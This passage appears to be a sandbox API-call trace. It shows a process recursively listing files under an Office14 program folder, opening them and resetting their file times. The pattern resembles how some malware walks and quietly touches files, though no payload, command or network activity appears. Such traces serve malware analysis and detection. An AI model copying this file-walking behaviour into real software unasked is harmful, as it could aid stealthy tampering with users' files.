lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xb854, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART2.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0069.732] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0069.732] GetLastError () returned 0x12 [0069.733] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.733] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.733] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.733] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.733] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0069.733] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0069.733] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0069.733] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0069.733] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="")) returned 1 [0069.734] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0069.734] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0069.734] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0069.734] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0069.734] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0069.734] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="")) returned 1 [0069.734] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0069.734] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.734] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.735] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.735] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.735] NtClose (Handle=0xec) returned 0x0 [0069.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.735] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.737] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.737] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.737] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0069.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f538 [0069.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10672b0 [0069.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.738] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7990, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMDOS.FAE", cAlternateFileName="")) returned 1 [0069.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f558 [0069.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067338 [0069.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.738] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x79a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0069.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f578 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10673c0 [0069.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.739] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f598 [0069.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1067448 [0069.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.739] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC.SAM", cAlternateFileName="")) returned 1 [0069.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066b40) returned 1 [0069.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066b40 [0069.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f5b8 [0069.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 